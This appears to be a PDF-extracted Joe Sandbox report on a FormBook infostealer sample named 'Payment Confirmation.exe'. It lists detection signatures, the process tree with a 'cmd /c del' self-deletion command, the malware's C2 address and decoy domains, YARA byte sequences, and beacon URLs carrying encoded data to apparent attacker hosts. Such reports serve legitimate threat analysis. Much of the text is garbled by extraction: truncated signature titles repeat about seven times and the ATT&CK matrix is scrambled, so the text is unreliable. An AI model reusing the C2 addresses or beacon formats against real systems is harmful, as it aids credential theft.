
ID: 502129
Sample Name: Payment
Confirmation.exe
Cookbook: default.jbs
Time: 16:30:06
Date: 13/10/2021
Version: 33.0.0 White Diamond
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Windows Analysis Report Payment Confirmation.exe

Overview

General Information

Sample 
Name:

Payment Confirmation.exe

Analysis ID: 502129

MD5: 98ffc3c812e6cec…

SHA1: b0d1a65445a792…

SHA256: 014d0ece0d472e…

Tags: exe formbook

Infos:

Most interesting Screenshot:

Detection

FormBookFormBook

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.Snort IDS alert for network traffic (e.……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBookYara detected FormBook

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE seDetected unpacking (changes PE se……

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for domaMulti AV Scanner detection for doma……

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing techSample uses process hollowing tech……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a Initial sample is a PE file and has a ……

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for sampMachine Learning detection for samp……

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd deleteSelf deletion via cmd delete

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process Queues an APC in another process ……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

Executable has a suspicious name (

Executable has a suspicious name (

Executable has a suspicious name (

Executable has a suspicious name (

Executable has a suspicious name (

Executable has a suspicious name (

Executable has a suspicious name (Executable has a suspicious name (……

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE filesUses 32bit PE files

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature matchYara signature match

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a dContains functionality to check if a d……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / Contains functionality to shutdown / ……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU Contains functionality to query CPU ……

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / aFound potential string decryption / a……

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a dContains functionality to check if a d……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

Contains functionality which may be

Contains functionality which may be

Contains functionality which may be

Contains functionality which may be

Contains functionality which may be

Contains functionality which may be

Contains functionality which may beContains functionality which may be……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution Contains functionality for execution ……

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often foCreates a DirectInput object (often fo……

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original Sample file is different than original ……

Extensive use of GetProcAddress (o

Extensive use of GetProcAddress (o

Extensive use of GetProcAddress (o

Extensive use of GetProcAddress (o

Extensive use of GetProcAddress (o

Extensive use of GetProcAddress (o

Extensive use of GetProcAddress (oExtensive use of GetProcAddress (o……

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resourcesPE file contains strange resources

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE filesDrops PE files

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

Payment Confirmation.exe (PID: 2244 cmdline: 'C:\Users\user\Desktop\Payment Confirmation.exe'  MD5: 98FFC3C812E6CEC919EBD286973E2002)

Payment Confirmation.exe (PID: 5440 cmdline: 'C:\Users\user\Desktop\Payment Confirmation.exe'  MD5: 98FFC3C812E6CEC919EBD286973E2002)

explorer.exe (PID: 3440 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

msiexec.exe (PID: 1516 cmdline: C:\Windows\SysWOW64\msiexec.exe MD5: 12C17B5A5C2A7B97342C362CA467E9A2)

cmd.exe (PID: 4852 cmdline: /c del 'C:\Users\user\Desktop\Payment Confirmation.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 3800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Process Tree

Malware Configuration

Threatname: FormBook
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{

  "C2 list": [

    "www.thesewhitevvalls.com/b2c0/"

  ],

  "decoy": [

    "bjyxszd520.xyz",

    "hsvfingerprinting.com",

    "elliotpioneer.com",

    "bf396.com",

    "chinaopedia.com",

    "6233v.com",

    "shopeuphoricapparel.com",

    "loccssol.store",

    "truefictionpictures.com",

    "playstarexch.com",

    "peruviancoffee.store",

    "shobhajoshi.com",

    "philme.net",

    "avito-rules.com",

    "independencehomecenters.com",

    "atp-cayenne.com",

    "invetorsbank.com",

    "sasanos.com",

    "scentfreebnb.com",

    "catfuid.com",

    "sunshinefamilysupport.com",

    "madison-co-atty.net",

    "newhousebr.com",

    "newstodayupdate.com",

    "kamalaanjna.com",

    "itpronto.com",

    "hi-loentertainment.com",

    "sadpartyrentals.com",

    "vertuminy.com",

    "khomayphotocopy.club",

    "roleconstructora.com",

    "cottonhome.online",

    "starsspell.com",

    "bedrijfs-kledingshop.com",

    "aydeyahouse.com",

    "miaintervista.com",

    "taolemix.com",

    "lnagvv.space",

    "bjmobi.com",

    "collabkc.art",

    "onayli.net",

    "ecostainable.com",

    "vi88.info",

    "brightlifeprochoice.com",

    "taoluzhibo.info",

    "techgobble.com",

    "ideemimarlikinsaat.com",

    "andajzx.com",

    "shineshaft.website",

    "arroundworld.com",

    "reyuzed.com",

    "emilfaucets.com",

    "lumberjackguitarloops.com",

    "pearl-interior.com",

    "altitudebc.com",

    "cqjiubai.com",

    "kutahyaescortbayanlarim.xyz",

    "metalworkingadditives.online",

    "unasolucioendesa.com",

    "andrewfjohnston.com",

    "visionmark.net",

    "dxxlewis.com",

    "carts-amazon.com",

    "anadolu.academy"

  ]

}

Source Rule Description Author Strings

00000005.00000000.420104693.000000000DD5
2000.00000040.00020000.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

Yara Overview

Memory Dumps
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Sigma Overview

00000005.00000000.420104693.000000000DD5
2000.00000040.00020000.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x46c5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 
74 94
0x41b1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x47c7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x493f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x342c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9b97:$sequence_8: 3C 54 74 04 3C 74 75 F4
0xac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

00000005.00000000.420104693.000000000DD5
2000.00000040.00020000.sdmp

Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x6ac9:$sqlite3step: 68 34 1C 7B E1
0x6bdc:$sqlite3step: 68 34 1C 7B E1
0x6af8:$sqlite3text: 68 38 2A 90 C5
0x6c1d:$sqlite3text: 68 38 2A 90 C5
0x6b0b:$sqlite3blob: 68 53 D8 7F 8C
0x6c33:$sqlite3blob: 68 53 D8 7F 8C

00000004.00000001.366443083.0000000000400000.00000
040.00020000.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

00000004.00000001.366443083.0000000000400000.00000
040.00020000.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8618:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x89b2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x146c5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x141b1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147c7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1493f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93ca:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1342c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa142:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19b97:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1ac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 25 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

4.1.Payment Confirmation.exe.400000.0.raw.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

4.1.Payment Confirmation.exe.400000.0.raw.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8618:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x89b2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x146c5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x141b1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147c7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1493f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93ca:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1342c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa142:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19b97:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1ac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

4.1.Payment Confirmation.exe.400000.0.raw.unpack Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x16ac9:$sqlite3step: 68 34 1C 7B E1
0x16bdc:$sqlite3step: 68 34 1C 7B E1
0x16af8:$sqlite3text: 68 38 2A 90 C5
0x16c1d:$sqlite3text: 68 38 2A 90 C5
0x16b0b:$sqlite3blob: 68 53 D8 7F 8C
0x16c33:$sqlite3blob: 68 53 D8 7F 8C

4.2.Payment Confirmation.exe.400000.0.raw.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

4.2.Payment Confirmation.exe.400000.0.raw.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8618:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x89b2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x146c5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x141b1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147c7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1493f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93ca:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1342c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa142:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19b97:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1ac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 13 entries

Unpacked PEs

Copyright Joe Security LLC 2021 Page 6 of 28



No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Multi AV Scanner detection for domain / URL

Machine Learning detection for sample

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

C2 URLs / IPs found in malware configuration

E-Banking Fraud:

Yara detected FormBook

System Summary:

Malicious sample detected (through community Yara rule)

Initial sample is a PE file and has a suspicious name

Executable has a suspicious name (potential lure to open the executable)

Data Obfuscation:

Detected unpacking (changes PE section rights)

Hooking and other Techniques for Hiding and Protection:

Self deletion via cmd delete

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Sample uses process hollowing technique

Maps a DLL or memory area into another process

Injects a PE file into a foreign processes

Queues an APC in another process (thread injection)

Modifies the context of a thread in another process (thread injection)

Copyright Joe Security LLC 2021 Page 7 of 28



Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Valid
Accounts

Shared
Modules 1

DLL Side-
Loading 1

Process
Injection 6 1 2

Virtualization/Sandbox
Evasion 2

Input
Capture 1

System Time
Discovery 1

Remote
Services

Input
Capture 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

Scheduled
Task/Job

Application
Shimming 1

DLL Side-
Loading 1

Process
Injection 6 1 2

LSASS
Memory

Security Software
Discovery 1 5 1

Remote
Desktop
Protocol

Archive
Collected
Data 1

Exfiltration
Over
Bluetooth

Ingress Tool
Transfer 3

Exploit SS7 to
Redirect Phone
Calls/SMS

Domain
Accounts

At (Linux) Logon Script
(Windows)

Application
Shimming 1

Deobfuscate/Decode
Files or Information 1

Security
Account
Manager

Virtualization/Sandbox
Evasion 2

SMB/Windows
Admin Shares

Clipboard
Data 1

Automated
Exfiltration

Non-
Application
Layer
Protocol 3

Exploit SS7 to
Track Device
Location

Local
Accounts

At
(Windows)

Logon Script
(Mac)

Logon Script
(Mac)

Obfuscated Files or
Information 2

NTDS Process Discovery 2 Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Application
Layer
Protocol 1 3

SIM Card
Swap

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Software
Packing 1 1

LSA
Secrets

Remote System
Discovery 1

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Manipulate
Device
Communication

Replication
Through
Removable
Media

Launchd Rc.common Rc.common DLL Side-Loading 1 Cached
Domain
Credentials

File and Directory
Discovery 2

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Jamming or
Denial of
Service

External
Remote
Services

Scheduled
Task

Startup
Items

Startup Items File Deletion 1 DCSync System Information
Discovery 1 1 4

Windows
Remote
Management

Web
Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly
Used Port

Rogue Wi-Fi
Access Points

Behavior Graph

Copyright Joe Security LLC 2021 Page 8 of 28



Behavior Graph

ID: 502129

Sample: Payment Confirmation.exe

Startdate: 13/10/2021

Architecture: WINDOWS

Score: 100

www.6233v.com pflvcllbpf.hellomyai.com 2 other IPs or domains

Snort IDS alert for
network traffic (e.g.

based on Emerging Threat
rules)

Multi AV Scanner detection
for domain / URL

Found malware configuration 9 other signatures

Payment Confirmation.exe

17

        started       

C:\Users\user\AppData\Local\...\nawgsdqut.dll, PE32

dropped

Injects a PE file into
a foreign processes

Payment Confirmation.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Sample uses process
hollowing technique

Queues an APC in another
process (thread injection)

explorer.exe

injected

www.atp-cayenne.com

62.210.5.81, 49842, 80

OnlineSASFR

France

www.thesewhitevvalls.com

172.105.103.207, 49810, 80

LINODE-APLinodeLLCUS

United States

15 other IPs or domains

System process connects
to network (likely due
to code injection or

exploit)

msiexec.exe

        started       

Self deletion via cmd
delete

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

cmd.exe

1

        started       

conhost.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

Payment Confirmation.exe 24% Virustotal Browse

Payment Confirmation.exe 20% ReversingLabs Win32.Backdoor.Androm

Payment Confirmation.exe 100% Joe Sandbox ML

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Temp\nsp1E48.tmp\nawgsdqut.dll 3% ReversingLabs

Source Detection Scanner Label Link Download

1.2.Payment Confirmation.exe.400000.0.unpack 100% Avira HEUR/AGEN.1130366 Download File

1.0.Payment Confirmation.exe.400000.0.unpack 100% Avira HEUR/AGEN.1130366 Download File

4.0.Payment Confirmation.exe.400000.0.unpack 100% Avira HEUR/AGEN.1130366 Download File

1.2.Payment Confirmation.exe.2320000.1.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

11.2.msiexec.exe.49f796c.3.unpack 100% Avira TR/Patched.Ren.Gen Download File

4.2.Payment Confirmation.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

4.1.Payment Confirmation.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains
Copyright Joe Security LLC 2021 Page 10 of 28

https://www.virustotal.com/gui/file/014d0ece0d472eaea73698d634308303ddb9f227f39d339a66416c3cb744d2c1/detection/f-014d0ece0d472eaea73698d634308303ddb9f227f39d339a66416c3cb744d2c1-1634131288


Source Detection Scanner Label Link

www.thesewhitevvalls.com 7% Virustotal Browse

chinaopedia.com 4% Virustotal Browse

playstarexch.com 4% Virustotal Browse

anadolu.academy 1% Virustotal Browse

Source Detection Scanner Label Link

www.playstarexch.com/b2c0/?
nZR4=4hr8Pfz&EN9pK2=F+Gco1RpPHjV7dNAzyydjUzXzSLtfZhJDs/JobGsDdyJLAnfgLPEsB5vVRHdlM
y1JFBV4EP6qw==

0% Avira URL Cloud safe

www.chinaopedia.com/b2c0/?
nZR4=4hr8Pfz&EN9pK2=qdiIlJa1sa0FYbjdkssa7+Uw/DbrhXlci2BZlXFuRXTISdQByqYUnROnYc602mbs
2qASatieoQ==

0% Avira URL Cloud safe

www.anadolu.academy/b2c0/?
EN9pK2=oisE9+VmZgmAkkrchIKqNWGyfJvkxHxTzu9sANYqnymeIWLgjiN74zWNndmykH/eOqLqSG+tx
g==&nZR4=4hr8Pfz

0% Avira URL Cloud safe

www.unasolucioendesa.com/b2c0/?
EN9pK2=nxasyuVnQv2XAhCx9zKAxU4oBW67ilDivwaG6+ZxC2XBQxj4p4XVuU/9/EEmkzFjfVH8yNww+
g==&nZR4=4hr8Pfz

0% Avira URL Cloud safe

www.lumberjackguitarloops.com/b2c0/?
nZR4=4hr8Pfz&EN9pK2=Evx8EsBGe658r9iJtrgJltnDGszJP9p4seEC1w1oB9OxckrwwA+TpfgbJDcWmrf
nS5cDyGsxIQ==

0% Avira URL Cloud safe

www.elliotpioneer.com/b2c0/?
nZR4=4hr8Pfz&EN9pK2=/Ci6lA1wHDq9VFgkYzq6dZWl1lKVRbc/m6zzwdji+NobEq0OLQXkZXfSz/GKNz
BGFBcC52wWgA==

0% Avira URL Cloud safe

www.altitudebc.com/b2c0/?
nZR4=4hr8Pfz&EN9pK2=Tgem/L35NV+dfrLXgk9e0bf+TOX6XAT/DQQ171WvvWAafG5cKA0QEsXJDfp
FnN+dx51z362pVQ==

0% Avira URL Cloud safe

www.carts-amazon.com/b2c0/?
EN9pK2=HN6lmWAsN4eOR9yN7lRwrlIaFZSjtluPDfuHRsVFTQ6SUbSrxCD+Omdw+9AgIy4ohKSIyg89V
Q==&nZR4=4hr8Pfz

0% Avira URL Cloud safe

www.atp-cayenne.com/b2c0/?
EN9pK2=ESINuQxl50fq+oqp7R8PJEZRcvMrOgZYniX8ZAjuMgliJzJjCEYTKkgZH+GsrKs/YLP3GwXWaQ
==&nZR4=4hr8Pfz

0% Avira URL Cloud safe

www.thesewhitevvalls.com/b2c0/ 0% Avira URL Cloud safe

Name IP Active Malicious Antivirus Detection Reputation

propage.beatstars.com 52.206.159.80 true false high

www.thesewhitevvalls.com 172.105.103.207 true true 7%, Virustotal, Browse unknown

chinaopedia.com 45.91.80.182 true true 4%, Virustotal, Browse unknown

playstarexch.com 34.102.136.180 true false 4%, Virustotal, Browse unknown

HDRedirect-LB7-5a03e1c2772e1c9c.elb.us-east-
1.amazonaws.com

3.223.115.185 true false high

anadolu.academy 94.73.147.156 true true 1%, Virustotal, Browse unknown

elliotpioneer.com 34.102.136.180 true false unknown

pflvcllbpf.hellomyai.com 134.122.133.171 true true unknown

www.unasolucioendesa.com 82.98.134.154 true true unknown

www.atp-cayenne.com 62.210.5.81 true true unknown

carts-amazon.com 34.102.136.180 true false unknown

www.anadolu.academy unknown unknown true unknown

www.playstarexch.com unknown unknown true unknown

www.lumberjackguitarloops.com unknown unknown true unknown

www.altitudebc.com unknown unknown true unknown

www.elliotpioneer.com unknown unknown true unknown

www.6233v.com unknown unknown true unknown

www.carts-amazon.com unknown unknown true unknown

www.chinaopedia.com unknown unknown true unknown

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs
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https://www.virustotal.com/gui/url/ef744236d28ba1f9d516a856ef9a49fd451e4b4110f1d71528187824384a3f8d/detection/u-ef744236d28ba1f9d516a856ef9a49fd451e4b4110f1d71528187824384a3f8d-1633373454
https://www.virustotal.com/gui/url/b3c8c6705c31ae0bfa5267e19465e952ce6cfafd70baf3126b42b492c4fd32f2/detection/u-b3c8c6705c31ae0bfa5267e19465e952ce6cfafd70baf3126b42b492c4fd32f2-1634058814
https://www.virustotal.com/gui/url/e131a0d625be862629a98d719152946e42d3fb5f643637f6b654f6ff78dc6a8e/detection/u-e131a0d625be862629a98d719152946e42d3fb5f643637f6b654f6ff78dc6a8e-1634096941
https://www.virustotal.com/gui/url/c2b16dfb41ad9a58938569d323641776255ed2ae78f0a2785c5dc2603985f1ca/detection/u-c2b16dfb41ad9a58938569d323641776255ed2ae78f0a2785c5dc2603985f1ca-1632156627
https://www.virustotal.com/gui/url/ef744236d28ba1f9d516a856ef9a49fd451e4b4110f1d71528187824384a3f8d/detection/u-ef744236d28ba1f9d516a856ef9a49fd451e4b4110f1d71528187824384a3f8d-1633373454
https://www.virustotal.com/gui/url/b3c8c6705c31ae0bfa5267e19465e952ce6cfafd70baf3126b42b492c4fd32f2/detection/u-b3c8c6705c31ae0bfa5267e19465e952ce6cfafd70baf3126b42b492c4fd32f2-1634058814
https://www.virustotal.com/gui/url/e131a0d625be862629a98d719152946e42d3fb5f643637f6b654f6ff78dc6a8e/detection/u-e131a0d625be862629a98d719152946e42d3fb5f643637f6b654f6ff78dc6a8e-1634096941
https://www.virustotal.com/gui/url/c2b16dfb41ad9a58938569d323641776255ed2ae78f0a2785c5dc2603985f1ca/detection/u-c2b16dfb41ad9a58938569d323641776255ed2ae78f0a2785c5dc2603985f1ca-1632156627


General Information

Joe Sandbox Version: 33.0.0 White Diamond

Analysis ID: 502129

Start date: 13.10.2021

Start time: 16:30:06

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 10m 56s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Payment Confirmation.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

24

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Name Malicious Antivirus Detection Reputation

www.playstarexch.com/b2c0/?
nZR4=4hr8Pfz&EN9pK2=F+Gco1RpPHjV7dNAzyydjUzXzSLtfZhJDs/JobGsDdyJLAnfgLPEsB
5vVRHdlMy1JFBV4EP6qw==

false Avira URL Cloud: safe unknown

www.chinaopedia.com/b2c0/?
nZR4=4hr8Pfz&EN9pK2=qdiIlJa1sa0FYbjdkssa7+Uw/DbrhXlci2BZlXFuRXTISdQByqYUnROn
Yc602mbs2qASatieoQ==

true Avira URL Cloud: safe unknown

